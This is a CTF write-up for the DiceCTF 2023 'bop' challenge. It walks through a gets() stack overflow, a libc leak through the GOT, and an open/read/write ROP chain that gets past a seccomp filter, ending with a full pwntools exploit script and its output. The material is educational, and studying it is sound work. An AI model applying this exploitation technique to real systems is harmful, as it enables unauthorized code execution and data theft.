pwn/bop | DiceCTF 2023
Reading and printing the flag with a ROP chain
This write-up is also posted on my website at https://www.alexyzhang.dev/write-ups/dicectf-2023/bop/.
The Challenge
The challenge source is available at https://github.com/dicegang/dicectf-2023-challenges/tree/main/pwn/bop. We were provided with a binary, a Dockerfile, and no challenge description. I did the usual setup with pwninit, which says it failed to unstrip libc for some reason, although it doesn’t seem to cause any issues.
[ctf@fedora-ctf bop]$ file bop
bop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f2afdf22115cea090713fcfdee969d64fcce8d63, for GNU/Linux 3.2.0, stripped
[ctf@fedora-ctf bop]$ checksec bop
[*] '/home/ctf/bop/bop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ctf@fedora-ctf bop]$ cat Dockerfile
FROM pwn.red/jail:0.3.1
COPY --from=ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 / /srv
COPY flag.txt /srv/app/
COPY bop /srv/app/run
[ctf@fedora-ctf bop]$ podman run -it --rm -v .:/app:Z -w /app ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999
Resolved "ubuntu" as an alias (/etc/containers/registries.conf.d/000-shortnames.conf)
Trying to pull docker.io/library/ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999...
Getting image source signatures
Copying blob b549f31133a9 done
Copying config e40cf56b4b done
Writing manifest to image destination
Storing signatures
root@0fed93dc6680:/app# ldd bop
linux-vdso.so.1 (0x00007ffd925d5000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007fa0737da000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa0735e8000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa073800000)
root@0fed93dc6680:/app# cp /lib/x86_64-linux-gnu/libseccomp.so.2 /lib/x86_64-linux-gnu/libc.so.6 /lib64/ld-linux-x86-64.so.2 .
root@0fed93dc6680:/app# exit
exit
[ctf@fedora-ctf bop]$ pwninit --bin bop --libc libc.so.6 --ld ld-linux-x86-64.so.2
bin: bop
libc: libc.so.6
ld: ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.9_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
copying bop to bop_patched
running patchelf on bop_patched
writing solve.py stub
Note that the binary has partial RELRO, no canary, and no PIE.
Decompiling the main function in Ghidra results in this:
void main(void)
{
char buffer [32];
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
setbuf(stderr,(char *)0x0);
printf("Do you bop? ");
gets(buffer);
return;
}
So we have an unlimited stack buffer overflow, which should be pretty easy to exploit if there are useful gadgets. I noticed that there were some other functions, and after poking around a little bit I found this:
void FUN_00401216(void)
{
int load_result;
undefined8 seccomp_policy;
seccomp_policy = seccomp_init(0);
seccomp_rule_add(seccomp_policy,0x7fff0000,2,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,0,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,1,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,0x3c,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,0xe7,0);
load_result = seccomp_load(seccomp_policy);
if (load_result < 0) {
perror("seccomp_load");
/* WARNING: Subroutine does not return */
exit(1);
}
return;
}
The function sets up seccomp with a policy that allows read, write, open, exit, and exit_group.
I guessed that this is a constructor function which is automatically called before main, and I set a breakpoint on the function in gdb to make sure that it actually gets called:
[ctf@fedora-ctf bop]$ gdb bop_patched
...
gef➤ b *0x401216
Breakpoint 1 at 0x401216
gef➤ r
...
Breakpoint 1, 0x0000000000401216 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x1
$rcx : 0x00000000401370 → endbr64
$rdx : 0x007fffffffe2e8 → 0x007fffffffe58b → "SHELL=/bin/bash"
$rsp : 0x007fffffffe1a8 → 0x000000004013bd → add rbx, 0x1
$rbp : 0x2
$rsi : 0x007fffffffe2d8 → 0x007fffffffe571 → "/home/ctf/bop/bop_patched"
$rdi : 0x1
$rip : 0x00000000401216 → endbr64
$r8 : 0x0
$r9 : 0x007ffff7fe0d60 → endbr64
$r10 : 0x0
$r11 : 0x007ffff7f628c8 → 0x010000000940104d
$r12 : 0x1
$r13 : 0x007fffffffe2d8 → 0x007fffffffe571 → "/home/ctf/bop/bop_patched"
$r14 : 0x007fffffffe2e8 → 0x007fffffffe58b → "SHELL=/bin/bash"
$r15 : 0x00000000403df8 → 0x00000000401210 → endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe1a8│+0x0000: 0x000000004013bd → add rbx, 0x1 ← $rsp
0x007fffffffe1b0│+0x0008: 0x007ffff7fa42e8 → 0x0000000000000000
0x007fffffffe1b8│+0x0010: 0x00000000401370 → endbr64
0x007fffffffe1c0│+0x0018: 0x0000000000000000
0x007fffffffe1c8│+0x0020: 0x00000000401130 → endbr64
0x007fffffffe1d0│+0x0028: 0x007fffffffe2d0 → 0x0000000000000001
0x007fffffffe1d8│+0x0030: 0x0000000000000000
0x007fffffffe1e0│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x40120c nop DWORD PTR [rax+0x0]
0x401210 endbr64
0x401214 jmp 0x4011a0
●→ 0x401216 endbr64
0x40121a push rbp
0x40121b mov rbp, rsp
0x40121e sub rsp, 0x10
0x401222 mov edi, 0x0
0x401227 call 0x4010b0 <seccomp_init@plt>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bop_patched", stopped 0x401216 in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401216 → endbr64
[#1] 0x4013bd → add rbx, 0x1
[#2] 0x7ffff7dd7010 → __libc_start_main()
[#3] 0x40115e → hlt
────────────────────────────────────────────────────────────────────────────────
With the seccomp filter, we can’t spawn a shell since we can’t do execve.
However, we can use ROP to open the flag file, read the flag into memory, and print it out.
Building the ROP Chain
Here are the gadgets in the binary:
[ctf@fedora-ctf bop]$ xgadget bop
TARGET 0 - 'bop': ELF-X64, 0x00000000401130 entry, 1013/1 executable bytes/segments
0x000000004011be: adc [rax], edi; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x00000000401159: adc eax, 0x2e92; hlt; nop; endbr64; ret;
0x0000000040117c: adc edi, [rax]; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x0000000040100e: add [rax-0x7b], cl; shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret;
0x000000004013db: add [rax], al; add [rax], al; add bl, dh; nop edx, edi; ret;
0x000000004013dc: add [rax], al; add [rax], al; endbr64; ret;
0x000000004011fa: add [rax], al; add [rbp-0x3d], ebx; nop; ret;
0x000000004011f9: add [rax], al; add [rbp-0x3d], ebx; nop; ret;
0x000000004013ad: add [rax], al; add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013dd: add [rax], al; add bl, dh; nop edx, edi; ret;
0x000000004013de: add [rax], al; endbr64; ret;
0x000000004013e6: add [rax], al; endbr64; sub rsp, 0x8; add rsp, 0x8; ret;
0x0000000040115c: add [rax], al; hlt; nop; endbr64; ret;
0x0000000040115b: add [rax], al; hlt; nop; endbr64; ret;
0x000000004013ae: add [rax], al; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x0000000040100d: add [rax], al; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401180: add [rax], al; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c2: add [rax], al; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x000000004011fc: add [rbp-0x3d], ebx; nop; ret;
0x000000004013af: add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004011fb: add [rcx], al; pop rbp; ret;
0x0000000040115d: add ah, dh; nop; endbr64; ret;
0x0000000040118b: add bh, bh; loopne 0x00000000004011f5; nop; ret;
0x000000004013df: add bl, dh; nop edx, edi; ret;
0x000000004013e7: add bl, dh; nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret;
0x00000000401189: add dil, dil; loopne 0x00000000004011f5; nop; ret;
0x000000004011f7: add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret;
0x0000000040100a: add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401017: add esp, 0x8; ret;
0x00000000401016: add rsp, 0x8; ret;
0x000000004013b9: call qword ptr [r15+rbx*8];
0x00000000401362: call qword ptr [rax+0x2e66c3c9];
0x000000004012f5: call qword ptr [rax+0xff3c3c9];
0x0000000040103e: call qword ptr [rax-0x5e1f00d];
0x000000004013ba: call qword ptr [rdi+rbx*8];
0x00000000401014: call rax;
0x00000000401163: cli; ret;
0x000000004013eb: cli; sub rsp, 0x8; add rsp, 0x8; ret;
0x00000000401160: endbr64; ret;
0x000000004013e8: endbr64; sub rsp, 0x8; add rsp, 0x8; ret;
0x000000004013bc: fisttp word ptr [rax-0x7d], st; ret;
0x0000000040115e: hlt; nop; endbr64; ret;
0x000000004011f5: inc esi; add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret;
0x00000000401012: je short 0x0000000000401016; call rax;
0x00000000401185: je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c7: je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x0000000040118c: jmp rax;
0x000000004012f7: leave; ret;
0x0000000040118d: loopne 0x00000000004011f5; nop; ret;
0x000000004011f6: mov byte ptr [rip+0x2eab], 0x1; pop rbp; ret;
0x0000000040117d: mov eax, 0x0; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011bf: mov eax, 0x0; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x00000000401009: mov eax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401187: mov edi, 0x404068; jmp rax;
0x000000004013b7: mov edi, esp; call qword ptr [r15+rbx*8];
0x000000004013b6: mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b1: mov edx, esi; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b4: mov esi, ebp; mov edi, r12d; call qword ptr [r15+rbx*8];
0x00000000401008: mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x000000004013b0: mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b3: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b2: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013d7: nop [rax+rax]; endbr64; ret;
0x000000004013d5: nop [rax+rax]; endbr64; ret;
0x000000004013d8: nop [rax+rax]; endbr64; ret;
0x000000004013a9: nop [rax]; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x00000000401161: nop edx, edi; ret;
0x000000004013e9: nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret;
0x0000000040115f: nop; endbr64; ret;
0x000000004012f6: nop; leave; ret;
0x0000000040118f: nop; ret;
0x00000000401007: or [rax-0x75], cl; add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401186: or [rdi+0x404068], edi; jmp rax;
0x000000004013b8: out 0x41, eax; call qword ptr [rdi+rbx*8];
0x000000004013b5: out dx, al; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013cc: pop r12; pop r13; pop r14; pop r15; ret;
0x000000004013ce: pop r13; pop r14; pop r15; ret;
0x000000004013d0: pop r14; pop r15; ret;
0x000000004013d2: pop r15; ret;
0x000000004013cf: pop rbp; pop r14; pop r15; ret;
0x000000004011fd: pop rbp; ret;
0x000000004013d3: pop rdi; ret;
0x000000004013d1: pop rsi; pop r15; ret;
0x000000004013cd: pop rsp; pop r13; pop r14; pop r15; ret;
0x00000000401188: push 0xffffffffff004040; loopne 0x00000000004011f5; nop; ret;
0x0000000040101a: ret;
0x0000000040105b: sar edi, 0xff; call qword ptr [rax-0x5e1f00d];
0x00000000401184: shl byte ptr [rcx+rcx-0x41], 0x68; add dil, dil; loopne 0x00000000004011f5; nop; ret;
0x00000000401011: shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret;
0x000000004011f8: stosd [rdi]; add [rax], al; add [rbp-0x3d], ebx; nop; ret;
0x000000004013ed: sub esp, 0x8; add rsp, 0x8; ret;
0x00000000401005: sub esp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x000000004013ec: sub rsp, 0x8; add rsp, 0x8; ret;
0x00000000401004: sub rsp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x000000004013da: test [rax], al; add [rax], al; add [rax], al; endbr64; ret;
0x00000000401010: test eax, eax; je short 0x0000000000401016; call rax;
0x00000000401183: test eax, eax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c5: test eax, eax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x0000000040100f: test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401182: test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c4: test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x0000000040118e: xchg ax, ax; ret;
CONFIG [ search: ROP-JOP-SYS (default) | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ]
RESULT [ unique_gadgets: 102 | search_time: 3.438523ms | print_time: 4.63807ms ]
We have pop rdi and pop rsi, but no syscall, so we’ll need to use libc.
I leaked libc by calling printf on the GOT and then looped main to read in the next ROP chain:
from pwn import *
exe = ELF("bop_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
# r = gdb.debug([exe.path])
r = remote("mc.ax", 30284)
# Found with GEF's pattern command
offset = 40
main = 0x4012f9
rop1 = ROP(exe, badchars=b'\n')
rop1.raw(rop1.find_gadget(["ret"]))
rop1.printf(exe.got.setbuf)
rop1.raw(rop1.find_gadget(["ret"]))
rop1.raw(main)
log.info(rop1.dump())
r.sendlineafter(b"bop? ", rop1.generatePadding(0, offset) + rop1.chain())
leak = int.from_bytes(r.recvuntil(b"Do", drop=True), "little")
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(libc.address)=}")
Next, we have to open the flag file.
The Dockerfile indicates that it’s named flag.txt, and we need to write that string into memory at a known address so that we can pass it to the open syscall.
I looked for gadgets that move a value from a register that we control to the address stored in another register that we control.
libc has plenty of gadgets for controlling registers, and I decided to use a mov [rax], rdi gadget at 0x9a0cf to write flag.txt.
We also need some writable memory at a known address, and I used the bss segment for that.
# mov [rax], rdi
write_gadget = libc.address + 0x9a0cf
rop2 = ROP([libc, exe], badchars=b'\n')
# Write "flag.txt" to bss
rop2(rax=exe.bss(), rdi=b"flag.txt")
rop2.raw(write_gadget)
# Write a null terminator
rop2(rax=exe.bss() + 8, rdi=0)
rop2.raw(write_gadget)
# Open the flag file
rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
Now we just need to read the flag into memory and write it to stdout. The flag file will have the smallest available file descriptor, which is 3 since 0, 1, and 2 are used for stdin, stdout, and stderror. I used bss as scratch space again.
# Read up to 100 bytes from fd 3 to bss
rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
# Write up to 100 bytes from bss to stdout
rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall"]))
Lastly, we send the second payload and receive the flag:
r.sendlineafter(b"bop? ", rop2.generatePadding(0, offset) + rop2.chain())
r.interactive()
Full solve script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("bop_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
# r = gdb.debug([exe.path])
r = remote("mc.ax", 30284)
offset = 40
main = 0x4012f9
rop1 = ROP(exe, badchars=b'\n')
rop1.raw(rop1.find_gadget(["ret"]))
rop1.printf(exe.got.setbuf)
rop1.raw(rop1.find_gadget(["ret"]))
rop1.raw(main)
log.info(rop1.dump())
r.sendlineafter(b"bop? ", rop1.generatePadding(0, offset) + rop1.chain())
leak = int.from_bytes(r.recvuntil(b"Do", drop=True), "little")
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(libc.address)=}")
# mov [rax], rdi
write_gadget = libc.address + 0x9a0cf
rop2 = ROP([libc, exe], badchars=b'\n')
rop2(rax=exe.bss(), rdi=b"flag.txt")
rop2.raw(write_gadget)
rop2(rax=exe.bss() + 8, rdi=0)
rop2.raw(write_gadget)
rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall"]))
log.info(rop2.dump())
r.sendlineafter(b"bop? ", rop2.generatePadding(0, offset) + rop2.chain())
r.interactive()
Output:
[ctf@fedora-ctf bop]$ ./solve.py
[*] '/home/ctf/bop/bop_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[*] '/home/ctf/bop/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ctf/bop/ld-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to mc.ax on port 30284: Done
[*] Loaded 14 cached gadgets for './bop_patched'
[*] 0x0000: 0x40101a ret
0x0008: 0x4013d3 pop rdi; ret
0x0010: 0x404030 [arg0] rdi = got.setbuf
0x0018: 0x4010f4 printf
0x0020: 0x40101a ret
0x0028: 0x4012f9
[*] hex(leak)='0x7feffe3f5ad0'
[*] hex(libc.address)='0x7feffe36a000'
[*] Loaded 196 cached gadgets for './libc-2.31.so'
[*] 0x0000: 0x7feffe3a0174 pop rax; ret
0x0008: 0x404080 stdout
0x0010: 0x7feffe38db6a pop rdi; ret
0x0018: b'flag.txt' b'flag.txt'
0x0020: 0x7feffe4040cf
0x0028: 0x7feffe3a0174 pop rax; ret
0x0030: 0x404088
0x0038: 0x7feffe38db6a pop rdi; ret
0x0040: 0x0
0x0048: 0x7feffe4040cf
0x0050: 0x7feffe3a0174 pop rax; ret
0x0058: 0x2 SYS_open
0x0060: 0x7feffe39001f pop rsi; ret
0x0068: 0x0
0x0070: 0x7feffe38db6a pop rdi; ret
0x0078: 0x404080 stdout
0x0080: 0x7feffe3cd0a9 syscall; ret
0x0088: 0x7feffe4acc92 pop rdx; ret
0x0090: 0x64
0x0098: 0x7feffe3a0174 pop rax; ret
0x00a0: 0x0 SYS_read
0x00a8: 0x7feffe39001f pop rsi; ret
0x00b0: 0x404080 stdout
0x00b8: 0x7feffe38db6a pop rdi; ret
0x00c0: 0x3
0x00c8: 0x7feffe3cd0a9 syscall; ret
0x00d0: 0x7feffe4acc92 pop rdx; ret
0x00d8: 0x64
0x00e0: 0x7feffe3a0174 pop rax; ret
0x00e8: 0x1 SYS_write
0x00f0: 0x7feffe39001f pop rsi; ret
0x00f8: 0x404080 stdout
0x0100: 0x7feffe38db6a pop rdi; ret
0x0108: 0x1 STDOUT_FILENO
0x0110: 0x7feffe38c84d syscall
[*] Switching to interactive mode
dice{ba_da_ba_da_ba_be_bop_bop_bodda_bope_f8a01d8ec4e2}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive